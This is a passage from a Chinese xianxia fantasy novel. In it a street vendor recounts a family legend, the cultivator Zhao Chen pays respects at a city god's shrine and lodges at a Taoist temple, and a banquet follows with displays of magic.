小贩看了看周围人,张了张嘴,叹了口气:“确实也没什么不能说的,你们知道,我家世世代代都在这里贩卖果子对吧,有鲜果就贩卖鲜果,有干果则卖干果。” “对,听说在我爷爷的爷爷时,你家就在这里买果子了。”众人纷纷点头应是。 等众人安静下来,小贩继续说道:“这事情还要从我那,也不知识几百年还是上千年以前的老祖宗说起,那时候……” 那时,小贩的祖先还是个孩子。 正值冬天,其和一些乞儿在在一间半塌的破庙中熬日子。最后,其他的乞儿都饿死、冻死了,就在最后的时候,小贩的祖先意外的挖到了一把干果。同时,其又捡到了一个饿昏在破庙前的成年人。 孩子认为是这个成年人给自己带来的好运,让自己找到了这口救命粮,便将这把干果兑了一瓦罐的雪水,一锅乱煮,和对方一起分食了。随后孩子又为其生火取暖,照顾了其一夜。 等第二天上午,孩子醒来之后,却发现这成年人实是一位老神仙。 听到这里,众人纷纷感叹果然是好心有好报,甚至还举出了一些自己听来的例子。 一些性子急的连忙开口道:“那后来呢?” “别吵,让他说!” 等众人议论够了,小贩接着说道:“老祖宗醒了,突然发现昨天救的那个人不见了,连忙出去寻找。刚出门,就看见那人站在外面,对着老祖宗一笑,就显出那神仙的,真身……” 老神仙周身一片祥光、异香,一脸慈眉善目对孩子道:“你能将自己的救命粮食分我一半,是一个好孩子。” “我这里有两个选择,你可以从中选择一个,作为我对你的奖励和报答。” 孩子一听老神仙说要给自己奖励,连忙询问具体的内容。 老神仙便解释道,这两个选择,一是给小孩一次大富大贵的机会,但要其自己努力,最后成与不成,尚在两者之间。 而第二个选择呢,便是给小孩及其后人一个多安少病,衣食无忧的机会。这是完全没有失败可能的。但是,若是选择了这个,从其开始,以后不但人丁不旺,一脉单传,而且永远也没有发达的机会。 小贩的祖先听了老神仙的话,在其的理解中:第一个选择,未来有一半机会,住在高大华丽的屋子里,能吃到撑;还有一半可能,依旧要挨饿受冻。而第二个选择,则一定不会挨饿受冻。 既然如此,那还有什么好说的,小贩的祖先毫无犹豫的选择了第二个。 老神仙反复询问过之后,对其说道:“你既然做出了这个选择,十个甲子内,只能无怨无悔。即便是后悔了,也要等十个甲子后,才有转机。” 等穹答应后,老神仙啊施展法术,随后告诉小贩的祖先,从现在开始,只要其在山林中搜寻,大多数情况下,则一定会有收获,或是鲜果,或是干果。这些果子,其可以自己吃,也可以拿去贩卖,换取银钱。反正只要勤劳肯干,发不了财,也不会缺衣少食。 等十个甲子以后,想要破去这个法术也很简单。只要将自己昨天和今天收集到的果子,拉到街上,在今天日落之前将之全部卖掉,这个法术便被破去了。 昨天的不算,但当天的果子必须全部一枚不剩,无论是自己还是家人吃了都不可以。同样的,被人抢夺,无力阻拦,没关系。但送人不行。 第三十二章 确认目标和拜码头 说到这里,众人想起小贩永远没在当天卖尽的果子,不禁哄然大笑。也有人笑着给小贩出主意,小贩听了都摇头说不行。 赵尘闻言,嘴角也带起一丝笑意,一边仔细思考小贩说的“老神仙”这般做的原因,一边仔细打量小贩,甚至悄悄施展了灵眼类的法术,但都毫无所得。 对此,赵尘只能感叹这不愧是一方仙神显圣的仙侠世界,这样的玄奇事件,在这片大地上,几乎每时每刻都在发生。同时在心中调笑:“这小贩就缺一位种梨道士了!” 听完故事,赵尘将拂尘塞回袖中,笑着买了几枚鲜果,一枚拿在手中,便走边吃,剩下的几枚用纸包好,塞进袖中。 沿路晃去,赵尘虽然动作不快,步子也不大,但往往三五步间,便穿过一条小巷。大多数人都没注意到这神异的一幕,少数注意到这一幕的人,也没有大惊小怪,只是带着惊奇、羡慕的眼神遥遥看了赵尘的背影几眼。 大约过去小半天时间,赵尘托着玉柱,根据玉柱中的气息变化,依其指引,在东城一处靠近刺史府的地方,远远看见一处大宅子。 赵尘绕着宅子沿着各条街道走了一圈,心中估算了一下,这家宅子周长竟有近十里。整座宅子方方正正,占地两万多亩。换算成前前世的单位,足有十四平方公里有余,都赶上前世的一座县城了。 这般算下来,赵尘不由咋舌,这虽是一方高等仙侠世界,但按赵尘目前观察到的情形,表面上看城池面积虽然要远大于前世,但在靠近刺史府的位置修这么大一座府邸,也有点太夸张了。 “也不知,这位有缘人在这府中是个什么地位?要是个仆从还好,要是个少爷,我要怎么才能将之忽悠走呢?”赵尘随即想到了当年明尘将自己从村中带走的情形,心道:“明尘师叔祖啊,你真是给我出了一个难题啊!” 赵尘心中虽不停的想着这些有的没的,步子却一点也没停,绕宅子一圈后,赵尘便对其看也没看,头也不回的转身向别处逛去。 毕竟,你一个陌生人,不停的围着别人的宅子打转,还频频往宅子中张望,企图窥视府内。若是被人发现了,不但容易惹来麻烦,还会对自己之后的举动产生影响,造成麻烦。 赵尘一面在街上走着,同时在心中念叨着:“寻找、忽悠这位‘有缘人’先不急,我先要找一个客栈,不对,应该是先找个地方挂单。” “然后,我作为一个‘道士?’,应该找一个周围的寺庙道观挂单。不过,这个世界有寺庙吗?应该没有吧。” 就在这思绪飘飞中,赵尘向周围人打听了一番,周围的神祠、道观的下落,随即往城外赶去。 据先前打听到的情况所知,沂州城北数十里外,有一座坛山。 其做为沂州的最高的山,便是在整个广原道,也是气势最雄伟的。因此,整座坛山也是香火鼎盛。 赵尘来到坛山脚下,抬眼望去,整座坛山好像一座巨大的,祭祀天地的祭坛,摆在这一眼望不到头的广阔平原上,一股雄浑、苍茫的气势扑面而来。 赵尘向山上走去,大概五分之一高的地方,便看见了坛山山神的神庙。 之后又看见各种大小不一的道观,如星罗棋布般的散落在半山腰。 大概过了半山腰多一点,不到坛山的三分之二处,虽然各种亭子还有很多,但各种神祠、道观便不见了。 再往上,在坛山顶端,修建着一座巨大的宫殿群,最外面的门上写着“广原祠”三个字的鎏金牌匾。 神祠内虽然不见庙祝之类的人,但也香火鼎盛,并且极为的干净整洁。赵尘拉住旁边一位老人道:“老人家,小道初来贵地,见此处香火鼎盛,不知供奉的是哪一位神君?” 老人看着赵尘道:“不清楚,只是自我爷爷的爷爷的爷爷以前,便有这座神祠了。虽然不知道这位神君的具体姓名来历,但大家都尊称一声‘广原君’!” 说着,老人抬手指了一下神祠匾额,随后又语气恭敬道:“但在神君的庇佑下,小老儿自小就没遇见过什么干旱、洪水之类的。只听那些行走各地的商客们说过,这干旱、洪水之类的是个什么样子,所以这周围的人,无不感激神君。” 老人说罢,便向殿中走去。 赵尘见状,绕过大殿,在四周转了转,却在后院发现了几个正在洒扫庭院的小道童。赵尘向他们打听这座神祠的来历,发现他们都是山腰下的各道观中的弟子,对这座神祠也是说不清楚。 赵尘在周围闲逛了一会儿,便转身来到正殿之中,发现正殿之中和外界完全是两个样子。 赵尘抬眼看去,正殿正中间不见神像,只有一座古老石碑,上书“广原君”三个大字,石碑立于三层丹陛之上,足有一丈多高。丹陛被一圈白玉栏杆围住。 看着这沧桑、古老、斑驳的石碑、丹陛和雕栏,不由让人感受到一股厚重的历史感。 在正殿的两侧,则是一排排的小舍般的神龛,大的足有一丈来高,三尺见方,小的只有一尺来高,砌在石台上。神龛里面或是石像,或是牌位,或是浮雕。 在正殿的最后面,则是一面墙的巨幅浮雕,因为太过斑驳,只能隐约看见一些山川和宫殿,具体的却是看不清楚。 数十丈见方的正殿内香火缭绕,手持香火的信众穿梭在石碑和各个神龛前,口中低声诉说着各种美好的愿望。 赵尘走到一座无人的神龛前,见神龛内的神像是一文书小吏的模样,微微一笑。先从袖中取出之前在城中买的鲜果,将之摆放好。又抽出一张黄表纸和一份度牒。将黄表纸往度牒上一按,掌心法力一吐,便将度牒中的文字图案全部印在黄表纸上。 赵尘将度牒收入袖中,并将黄表纸叠好,递于神龛前。口中念叨着自己初来贵地,打算在山中找一间道观挂单一段时间,特来拜见,万望允许云云什么的。 话音刚落,黄纸突然烧了起来,化作一道青烟飞入神龛内。赵尘见状,笑着轻轻一稽首,随即便转身出去,离开了神祠。 第三十三章 借宿道观 其实,刚登上山顶,站在宫殿外,看见牌匾时,赵尘便猜到这是谁的神祠了。后来在正殿中逛了一圈,便能彻底确定了, 这所谓的广原君便是那广原道的道城隍,一位正四品的神君,金仙级的大能。在整个广原道,也只有这位神君可以让一位正六品的山神为其守门。 依据宗内的记载,这位城隍神也是一位人物。 十余万年前,从一个普通人,为官一任,造福一方,因当地百姓感念其恩德,为其设庙祭祀。 正所谓“聪明正直,死后封神”,其被当地县城隍召为小吏。之后数万年间,其从一位不入流的鬼吏,一直累迁到正四品的道城隍,并已经在这道城隍的位置上干了六七万年。 十万年的时间,从一个手无缚鸡之力的普通人,成长为一位金仙大能,可以说是一件极为励志的故事了。 赵尘打算在祂的眼皮底下住上一段时间,自然要去拜拜码头了。之前,赵尘向那些人打听“广源君”的情况,只是为了大致了解一下这位神君的品性如何。 如今码头拜完,便要去找住处了。 赵尘自山顶向下走去,回想着自己上山时看到的景象。整座坛山,一共有数十座大小不一的道观。自己挂单的话,首先排除掉不会术法的,毕竟有些不方便。如此还剩下十几家道观。 这些之中,再把那些小道观去掉。一来,那些小道观中,会的术法,比赵尘之前在船上遇到的那些所谓异士高明不了多少。二来,那些小道观少的只有一两人,多的也不过三五人。那些人多是长年生活在一起,知根知底,好似一家人,自己一个陌生人跑去借宿,多有不便。 这样算来,符合赵尘要求的道观便只剩三家了。其中两家大型道观,一家中型道观。 想了想,赵尘又将两家大型道观排除了。倒不是怕自己主角光环发作,遇到如同修真小说中那样各种各样狗屁倒灶的龌龊事,毕竟头顶便是一位金仙级的神君的神域。 就好像在那天子脚下,首善之地。有人正对着皇宫大门,挂牌几家专卖人肉包子的黑店,你这是打算膈应谁呢?要是有人敢这么做,绝对会被一巴掌拍死。 但毕竟要防止‘店大欺客’的事情,所以最后赵尘还是选择了那家中型的道观。 在这般心思转动之间,赵尘走到那家道观门前,刚要敲门,便见两个道童打开门出来。 两个道童皆十来岁上下,长的粉雕玉琢,其中一个行了一礼,开口道:“刚刚我家观主说有道友来访,不知可是道长?” 赵尘闻言,回礼道:“贫道清微,云游至此,打算在贵观借宿一段时间。这是贫道的度牒,烦请转交观主。”说着,赵尘从袖中抽出度牒,双手将度牒交给道童。 道童恭敬的接过度牒道:“道长请放心,还请道长随师弟去会客室稍候,观主稍后便到。” 说罢,道童便让另一个道童带着赵尘向会客室走去,自己便捧着赵尘的度牒向后院走去。 其实度牒这种身份证明,在此界,天上和人间都可以发放。但不同机构发放的,效力各不相同。 王朝签发的,只能在王朝内有效,周边王朝承不承认两说,再远便一点用处也没有了。至于皇朝签发的,在整座部洲都是通用的,但在其它部洲便没用了。若是帝朝签发的,在整个世界都是被承认的。 若是天庭签发的度牒,不但在整个世界都有用,同时也暗中表明了自家背后,有成仙了道的人物,并在天庭中担任职务,不算小人物了。 至于仙庭,便只给其对应的七大天门的弟子发放那种,赵尘完成培元境修行后得到的,在金丹境界才完成全部步骤的身份玉牌。 赵尘手中的这张度牒便是一份由天庭签发的,其也是宗门发放给在外游历的弟子的,用来掩盖自己宗门身份的道具。 当然了,这张度牒也是真实有效的,但上面关于赵尘具体的信息,除了一个道号,一个字也没提。 道童将赵尘带进会客室之后,上了一些茶水点心,便退下了。 赵尘微微打量了下周围,整个会客室给人的感觉,除了朴素之外,便只有书特别多了。正在思绪飘飞间,突然感觉有人走了过来,赵尘连忙收回心思,将气息放开,顺便对自己施加了一个灵眼术,并将衣冠整理了一番。 一切弄好后,刚坐定,便见一个道士推门而入。 赵尘向门口看去,不禁在心中赞叹了一句:“好一个鹤发童颜,仙风道骨的道门高士啊。” 同时因为灵眼看见的气运和灵光,心中既有一份果然,也有一份惊叹。一是因为这道士果然是一位神魂道的修士,二是因为其竟然是一位第三阶修士,真君级的高人。 这可不是许晏那种处于半残状态,一身修为十不存一的样子。不说其它,单是那明黄色的气运,好似一朵祥云顶在头顶,丝丝气运好似璎珞、流苏,不断垂下,护在周身,便可见道士的不凡。 赵尘见状,连忙起身,恭敬行礼道:“清微见过真君。” 道士微笑的回了礼,引着赵尘落座,和赵尘对坐在一旁。伸手将度牒还给赵尘,开口道:“见过清微真人。贫道常和,你我以道友相称便好,不知道友仙乡何处,来这沂州所谓何事,可需要贫道帮忙,道友直管开口,力所能及的,绝不推辞。” “道友怎么知道贫道不是在这沂州修行呢?”赵尘好奇道。 常和真君闻言,笑道:“哈哈,不瞒道友,贫道不但知道道友不是沂州人,还基本可以肯定,道友怕连广原道的人都不是。” 不待赵尘开口,常和微微抬起手:“道友且听我说,这沂州之地最大的几家道观门派便在这里了,真人级的存在我都认识。便是在整个广原道,六州之地,各派的真君级存在,我也都知道,便是真人级的存在,我也基本听说过,却从未听说过道友的存在。” 第三十四章 赴宴 “至于说散人,却绝对没有道友这番气度。”同时,常和在心中暗道:“整个广原道,能拥有天庭度牒的,也没几个,这其中一定没有道友。” “道友法眼如炬,不瞒道友,贫道来此,只有两个原因。一来是因为,这修行勉强算有了根基,所以到这红尘中历练一番,云游到此。二来嘛,也是奉了门中的命令,要在沂州城内考察、引度一位弟子。所以要借道友的宝地住上一段时间,实在是劳烦道友了。” 常和闻言,连忙开口道:“不麻烦,不麻烦,一点也不麻烦。还是那句话,有什么要帮忙的,道友只管开口。”随即又转过头对门外吩咐道:“童儿,去把兰院收拾出来,以供清微真人下榻。” 赵尘连忙道谢道:“有劳道友了。” “不客气。” 两人便这般闲聊了一会儿,便有一青年道人推门进来,对常和道:“启禀观主,兰院已经收拾好了。” 赵尘见常和转头看向自己,赵尘起身道:“多谢道友,那贫道便先下去休息了。” 常和笑这点点头:“道友先回去休息一下,等一会儿,我便安排弟子准备晚宴,为道友洗尘。” 那青年道人也随之开口道:“真人请随我来。” 赵尘便这般被青年带去了后院的一个小院中。 待青年道童离开后,赵尘按照惯例将小院检查了一遍,又在院中随手扔了几枚玉符,简单的布置了一个阵势,至于效果,聊胜于无吧。 之后,赵尘回到屋中,取出一张席子,盘坐在上面,并将自己在船上制作的准法宝取出,大把的法力和灵气灌入其中,一片投影笼罩在赵尘周身一丈之地。四周是一片小小的水域,泛起圈圈涟漪,头顶上一片朦胧星空,似有似无。 别看这只是一片虚影,却至少能挡住驻世散仙的一次偷袭。正所谓防人之心不可无, 在赵尘将这些忙完后,静气凝神,轻轻一跃,元婴便从赵尘头顶跳出。 随之招来一面水镜,看着自己三尺高的元婴之身,赵尘无奈的叹了口气。然后静气凝神,盘坐在虚空中,任凭虚空中的无量后天灵气对自己元婴的冲刷、研磨和拉扯。 经过三年的苦修,赵尘的元婴早在一年多以前便已经达到三尺高了。按理说早就该进入化神境了。可赵尘却有一种不完美感,明白三尺并不是先天生灵的元婴极限。查阅资料后发现,先天生灵的元婴极限是三尺三寸三分。 但具体又不知道该怎么办,若是按照之前的方案法修炼,却又会进阶化神。赵尘只能叹息道:“自己终究只是一个伪先天生灵啊,和真正的先天生灵终究有那么一点差距啊!” 但套让赵尘就这样进阶化神,赵尘又心有不甘,所以这一年来,赵尘只能用这种笨办法锤炼元婴。 好一会儿之后,赵尘的元婴再也坚持不住,一道道元气法力带着一丝丝灵魂溃散开,消散在空中。赵尘不慌不忙的迅速往后一倒,元婴摔进肉身中。 随着元婴的归位,赵尘猛地瘫坐在地上,随着大量灵魂之力的消耗,虽没有伤到灵魂,但也让赵尘陷入极度疲惫中。赵尘非常熟练的拖着疲惫的身躯,先检查一下支持“净土”运转的灵气是否足够,然后顶着“净土”到床上躺好。随之伸手一抓,将其双手抱在腹部,陷入定境之中。 …… 当赵尘再次醒来时,向窗外看去,天已经完全黑了下来。随即起床洗漱整理了一番。之后便拿着一盏油灯,带着一卷书到院子里纳凉去了。 赵尘在院中没坐一会儿,便听见脚步声从院外传来。抬眼望去,只见之前那个青年道人走了进来。 青年道童提着灯笼从院外走来,向院中看去,只见院子中间的石桌旁,坐着一位手捧经卷的青衣道袍的少年,石桌上摆着数盘瓜果、干果、点心和茶水。在温黄而又摇曳的灯光下,这一切,和院子之中的景物交织在一起,好似构成了一副即温馨又缥缈的画卷。 青年看着这幅画卷,忽然心中有感,好似这滚滚红尘,无尽繁华,都似那过眼云烟,唯有眼前的这一盏油灯,照彻了岁月,万古长明。心中忽然泛起了一丝属于长生者、属于不朽者的寂寞。 “咳……咳……可是常和道友有事寻我?” 赵尘的声音猛地将青年惊醒。青年回过神来,恭敬道:“真人,观主让我请你过去赴宴。” “那就走吧。”赵尘闻言,把书往袖中一塞,站起身来,衣袖挥舞间,桌上各种盘子、茶水乃至油灯都消失的一干二净。 青年见状,眼中露出羡慕的神色,忙转过身,提着灯笼,带着赵尘往远处走去。并开口道:“真人,请随我来。” 赵尘跟在青年身后,望着青年的背影,眼中带着笑意,心中暗自赞叹:“心性和资质都是上上之选,常和道友后继有人啊。” 原来桌上这盏油灯便是赵尘先前,按照宗内那法宝心灯的制作的法器心灯。刚刚赵尘虽是将其当做普通油灯使用,但终究有一丝神异显露。 先前,青年所产生的异样便是由这神异引起。同样的,青年能感应到这丝神异,也证明了其心性、资质皆是不错的。而神魂道的入门,最关键的便是对心性资质的要求。 想到这里,赵尘不禁问道:“还不知道友怎么称呼,在这修行多长时间了呢?” 在前面领路的青年一听,连忙道:“不敢真人道友之称。我不过是这道观中一名道童罢了,俗家姓张,十九岁进入道观,至今已有五年了。不久前被老师正式收入门墙,同时,老师给起了个道名,唤作寂梦。” “大家都是大道路上的求索者,我不过比道友先走了一两步而已,寂梦道友……” 两人边走边聊,不一会儿,张寂梦将赵尘领领到一阁楼前,对赵尘道:“真人,到了。我还要去处理一些其它事情,便先告退了。” 第三十五章 接风洗尘 赵尘一个人走到门口,便有一个扎着总角的小童将赵尘领上了阁楼。在上楼的过程中,赵尘手中一握,一个小瓶从袖中滑落,落入手中。低头间,手指微弹,将两滴灵液弹入眼中。抬手间便将小瓶坠入袖中,暗掐指决,默念真言,暗中施展了一个灵眼术。 刚走过楼梯,便看见一巨大的房间,四面开窗,就连走进上来的那一面也是一样,好像一个巨大的凉亭。四面窗户上皆罩着一面白纱,透过白纱可隐约看见窗外的明月和松柏。 还来不及细看,常和便迎面走来,对赵尘道:“清微,来来来,快开席了,今夜为道友洗尘,这良辰美景,倒也颇有情致,只是观中简陋,没有什么好招待道友的,还望道友勿要嫌弃。” 说着,不待赵尘开口,常和便拉着赵尘在右侧第二张小案前坐下,回到主位后,扫视了一周,说道:“诸位,这便是清微道友。” 随即又看着赵尘,依次介绍道:“这是我师兄,常太。” 赵尘朝左侧第一位道人看去,这也是一位神魂一脉的修士,大概在照破肉身境界。赵尘起身见礼道:“清微见过常太真君。” 常太也起身回了一礼:“道友客气了。” 紧接着,赵尘又和常和的两位师弟,一位也是照破肉身境界的常至真君,一位神魂通透境界的常诚真人,相互见礼。因为都是神魂一脉的修士,包括常和在内的四位道人,都是一副鹤发童颜的样子。 待几位互相介绍完了之后,常和指着同样位列两侧,但矮了一级台阶的三位道人,对赵尘道:“这是观中几个不成器的晚辈,还望道友勿要见笑。” 第一个起身的是一个满身书卷气息的中年道人,好像一个饱学翰林,对着赵尘道:“寂宣见过清微师叔。” 赵尘仔细一看,这也是一位神魂一脉的修士,只有点亮心灯的境界,赵尘连忙开口道:“贫道修为只是比道友略高一点,怎敢当道友师叔之称。” 寂宣连忙起身道:“当的起,当的起。所谓达者为师,真人既能和师傅、师叔等以道友相称,便是我等师叔。”赵尘闻言,苦笑的摇了摇头:“好吧。” 第二个起身的是一个面色凄苦的壮年道人,只是有些偏老,修为却只有明心见性境界,对赵尘见礼道:“寂玉见过清微师叔。”赵尘随即回了一礼。 第三个见礼的也是一中年道人,与前两者相比,不仅看起来要远远比前两者年轻,好像是刚进入中年,又像是长的较成熟的青年,而且要比前两者看起来更有道家气度,也是一位明心见性境界的神魂一脉修士。 起身对赵尘见礼道:“弟子寂典见过清微师叔。” 赵尘也随之回了一礼。 在寂宣等三人给赵尘见礼时,诸位道童已经将各种菜肴端上各人的桌案上。随后又在主座对面摆上两排长案,十几个道童皆坐在上面。 常和指着对面的十几个道童对赵尘道:“观中所有弟子都在其中了,这剩下的便是这些还未入道的弟子,便在观中做个道童,一来熟悉经典,二来也可以打磨心性。” “哦,对了,还有寂梦,便是先前领道友去兰院的那个道童。”常和忽然想了起来,对赵尘道:“其虽然也被收入门墙,但终究离入道还差了点。虽是一位正式弟子,但如今也还放在道童中打磨。” 赵尘转过头向下首出看去,只见包括那叫张寂梦青年在内,年岁各不一样,小的只有七八岁,大的都已经白发苍苍。十几个人皆没有一点修为。 常和扫视了一遍四周,开口道:“今天,我们为清微道友接风洗尘,大家先敬道友一杯,” 说着,常和及其他三人先敬了赵尘一杯。赵尘拿起桌上空荡荡的酒杯,忽然一捧酒水从杯底涌现,将酒杯装满。赵尘见状,微微一笑,一口将酒水喝干。转眼间,酒杯又被酒水装满。 紧接着寂宣三人也敬了赵尘一杯酒,待到道童给赵尘敬酒时,赵尘明显看见几个年幼的道童眼中闪过的惊奇和诧异,以及大多数道童眼中出现的羡慕和向往的神色,赵尘眼中露出一丝了然。 赵尘微微一笑,道:“你们既然称我一声师叔,师叔自然也不能小气。”说着便送给了寂宣三人,和坐在众道童中的寂梦,每人一件玉佩模样,简单但却极其适合神魂一脉的法器。 又送给十几个道童,每人一枚可以静心、凝神、辟邪的玉佩。众人口称师叔的语气立马变得更加的真诚和热情许多。 “咳……咳……”看着逐渐活跃起来的气氛,常和轻声咳了一声:“让道友破费了,实在不好意思。” 诸位弟子、道童等也皆起身对赵尘道:“多谢师叔赏赐。” 赵尘双手虚往下按了按,开口道:“不过是一些随手制作的小玩意儿,没什么大不了的,还望不要嫌弃。” 随着这一圈礼物的发下去,宴会算是正式开始了。 赵尘和几位‘常’字辈的道人便在席间聊了起来。谈玄论道,从虚到实,又从实到虚。虽不博广,但却极其精深。 要不是赵尘三世轮回,因为地球那一世,也算见多识广,第二世几十年沉浮,对人生也算是感悟颇深,再加上这一世出身玄天宗,整个玄天宗最基础的藏书阁被赵尘全部抄下来,带在身上,还真跟不上其他几人。 便这般聊了好一会儿,一副宾主尽欢的模样。赵尘拿起酒杯微微抿了一口,抬起衣袖擦了擦额头上那并不存在的汗珠,心道:好险,差点栽了,真不愧是神魂一脉的修士,这知识量,想一想就让人绝望。 这神魂一脉的修行,不但入门最难,也是最重心性、感悟,同样也是对外物依靠最少的。就是赵尘前世那种连先天武者都无法出现的世界,成就一位驻世散仙也是绰绰有余。 便是赵尘第一世所在的,灵气完全枯竭的末法地球,理论上也是可能有依靠神魂一脉修行成一位驻世散仙的可能性。 第三十六章 夜宴 这种几乎不消耗资源的修行法门,从普通人到天师高人,从明心见性到驻世散仙的巨大跨越,完全是依靠心灵的蜕变和神魂的进阶完成的。这全部要依靠心性和感悟作为资粮。 而普通人,资质和经历有限,根本没有那近乎无限的感悟来支持心灵的蜕变和神魂的进阶,这便只能依靠不断学习和消化新的知识,温习旧的知识来不断获得感悟。 所以每一位神魂一脉修行有成的修士,不但心性出众,而且知识的积累量,不说广博,但至少不窄小,而且绝对精深。 赵尘不知道的是,前面的四人在赵尘低头饮酒的时候也用眼神交流了一下:这清微道友果然不愧是大门派走出来的,论修为不过初初跨入真人境界,可这心性、见识却完全不下余我等,真是不简单啊! 这番交谈,虽然不涉及具体的修行之法,无论法还是术。但却交换了各自对道的感悟和理解,以及修行中一些小的问题和窍门,赵尘却是觉得收获不浅,便是常和四人,也是各有收获。 赵尘转过头看了寂宣三人一眼,也是一副仔细倾听,颇有所得、豁然开朗的样子。又看了那十几个道童一眼,十几个道童或仔细听着,或轻声交谈,也是或有所悟的样子。 便这般又聊了一会儿,赵尘看见常和真君看着前方,微微叹了口气。 赵尘顺着常和目光看去,便见好几个道童低声私语,不时转头向这里看时,眉间露出不耐的神色。常和见赵尘转过头看了眼道童,对赵尘歉意的笑了下,赵尘微摇了摇头,表示理解。 正在这时,常太真君高声道:“师弟这酒颇是寡淡,平常也是罢了,今日为清微道友接风洗尘,还用这酒,真是小气。” 听常太这么一说,大家都看了过来,便是那几个年纪不大的道童,眼中更露出好奇的神色。 常和苦笑道:“师兄误会我了,今日为清微洗尘,要是有好酒,我早拿出来了,要是师兄有好酒,千万不要藏着掖着。” “你啊,我说你,你却扯到我身上,”常太苦笑的摇了摇头:“罢罢罢…我倒是真有些酒水,可以说是尚可入口,平时都舍不得喝,今日便全部舍出来吧。” 说着便从身上摸出一个拇指大的玉葫芦,又取出十个酒壶,将葫芦一倾,葫芦中的酒水从葫芦口倒出,在空中分成十股,分别倒入各酒壶中,倒了好一会儿,方才倒尽。众位道童见状,一脸的看稀奇的样子。 常太手一挥,十个酒壶飞了起来,包括常和、赵尘、寂宣几人在内,每个小案前落了一壶酒,剩下的两壶飞到了道童那里。 神魂道修士虽然法术玄妙,但要这样不带一丝烟火气的施展干涉物质的法术,却是千难万难。 赵尘拿起眼前的酒壶晃了一下,给自己倒了一杯酒,便已经发现这酒壶虽不到一个巴掌高,却装了近二十斤的酒。这般算来,常太那个玉葫芦中装了差不多两百斤的酒水,倒也不错。 赵尘端起酒杯微抿了一口,倒是一种不错的灵酒,但对赵尘来说,味道、质量之类的只能说还行。称赞了一声“好酒”,便又聊了起来。 又过了一会儿,赵尘忽然开口道:“今日这酒不错,与之相比,可这菜肴却略逊一筹。正巧,我这还有几枚野果,便分于诸位尝尝吧。” 说着,张开手掌,掌心出现一个果核,往中间空地上一抛,只见果核落地生根,见风就长。刚落到地上,一眨眼的功夫,便长成了一棵七尺高的小树,树不高,却也郁郁葱葱。不到一个呼吸的功夫,小树便完成了开花结果的过程,数百颗青色果子好像风铃一样挂在树上。 紧接着,青色野果便飞到各人桌前,包括道童在内,每人都分到了二十多颗。随着果子的分完,一阵风吹过,小树也化作飞灰消失在空中。 当然了,赵尘如今是万万没有明尘这般的法力,所以这般种树的把戏,看起来和明尘当年施展的枣核化枣林差不多,但却完全不同,倒是和《聊斋》中的种梨道士所施展的法术有些类似。 所谓的种树之类的,全是幻术,包括果核、小树在内,全是假的,不过一团灵气所化。那数百颗果子都是事先被赵尘收在袖中的,待小树开花结果时,将袖中的果子悄悄挂在小树上。 这一番变化,看的众位道童心向往之,而赵尘却对常和几人笑道:“手段拙劣,让道友见笑了。” “清微手段精妙,哪敢见笑。” 说话间,常和捻起一颗尝了下:“多谢道友了。” 赵尘摇了摇头:“只是些野果罢了,没什么大不了。” 这青色灵果确实是赵尘在宗内采摘的野果,有滋补肉身,洗炼神魂之效。 因为偏仙道的法门,在修行之初,不需要将自己的精、气、神,乃至内息。法力等都要保持在至精至纯的状态,所以这灵果可以放心食用。 这每人二十多枚灵果,不但为十几个道童延长了寿命,还未将来打下了不错的基础。而且让四位‘寂’字辈弟子省去了至少十数年苦修。便是对常诚真人,也是略有作用的。 又过了一会儿,常至道:“有宴无舞,实在不该。”说着,把一张绣着数队舞者的手帕丢到中间,舞者从手帕中钻出来,见风就长,变作真人大小,在中间翩翩起舞。 见到这种景象,众道童无论年纪长幼,尽皆哗然。赵尘仔细一看,这数队舞者,尽是常至驯养的魂衣鬼仆。 赵尘见状,忽然想到前前世时,《崂山道士》这篇故事,随即开口道:“这灯火暗淡,看不清楚,且看我借点光来。”说着,从袖中抽出一张白纸,手成剪刀状,从白纸上剪下一个圆,往窗子上的白纱上一甩,便稳稳贴在纱上,化作一轮明月。 赵尘这一手剪纸移月的把戏可不是简单的幻术。 先是白纸,这白纸被赵尘用大量的月华凝炼过,赵尘剪纸时,先将整张纸的月华牵引至圆中,在构建成稳定的符纹,最后将圆甩出去的时候用法力将纸中的月华激发,使其变成了一轮满月。同样的,这轮明月洒下的,绝对是纯正的太阴月华。 众位道童见到这剪纸成月的手段之后,眼中的羡慕和渴望几乎要溢了出来。同时也对赵尘等人的交谈听的格外仔细和认真。 聊了一会儿,怕众道童又不耐,常和看了常诚一眼,常诚将一支竹箸从案上丢了下来,化作一支乐队,管弦呕哑:“有酒有舞,却没有乐,终是不美。” 只是这中间场子实在有点小,这舞乐终究有一种施展不开的感觉。常和看了看,开口道:“场地有点小,我们换个地方接着喝。” 说着,常和敲了敲小案,赵尘只觉一阵恍惚,周围环境却已经大变。原本一片四面透风,以白纱遮之的阁楼,转眼变成了一座琼楼玉宇,不但场地变大了不少,周围装饰也尽皆变成了雕栏玉砌,连地板也不例外。众道童尽目瞪口呆,连寂宣三人也面露异色。 赵尘闭上眼睛细细体会了一下,发现这竟不是幻境,心中暗自猜测道:“这应该便是常和的心象之中了。” 赵尘再一次体会了真君的恐怖和神魂一脉修士的玄奇。 不知过了多久,赵尘只隐约听见一阵钟声传来。便轻声问道:“什么时辰了?” 常和看着赵尘道:“听钟声,三更了。道友可是倦了。” 赵尘闻言,却没有多说什么,而是微微偏转脑袋,向玄天宗方向看去,心中叹息了一句:“道钟三响啊!”心中也不知欢喜还是什么,一片莫名滋味,好像看见明尘得道成仙,登天而去的身影。而那明尘也好像了赵尘,回首对其含笑点头了一下。 不待赵尘回答,常和拍了拍手,将众人的目光吸引过来,开口道:“今日兴致已尽,时辰也不早了,大家略收拾一下,便早点回去休息吧,明日早课不得耽误。” 听常和这么一说,常诚一招手,整支乐队翻着跟头,逐渐缩小,变成一支竹箸回到手中。同时,众舞者也逐渐缩小,跳回手帕上,手帕也飞回常至手中。 见状,赵尘也对着窗外那一轮明月一招,明月迅速变小,被赵尘拿在手上,塞回袖中。待赵尘将明月塞回袖中,一抬头,便看见琼楼玉宇已经变回了杯盘狼藉的阁楼,赵尘见了,默然不语。 常和开口道:“大家简单收拾一下,早点休息,我送清微回去。”说罢,便引着赵尘向楼下走去。 常和带着赵尘往回走去,开口道:“今日多谢道友了。” “哪里,今天和诸位道友交流,清微收益良多。” 常和听赵尘这么一说,笑着摇了摇头,叹息道:“唉……观中弟子,多是心性不坚,大道难行啊,只能用各种法术玄奇来吸引弟子,保持其向道之心,倒是让道友见笑了。” 两人客气了一番,赵尘又顺口向常和打听起了沂州城的一些情况。 第三十七章 命格 一天上午,赵尘一身道袍的在沂州城中闲逛着。 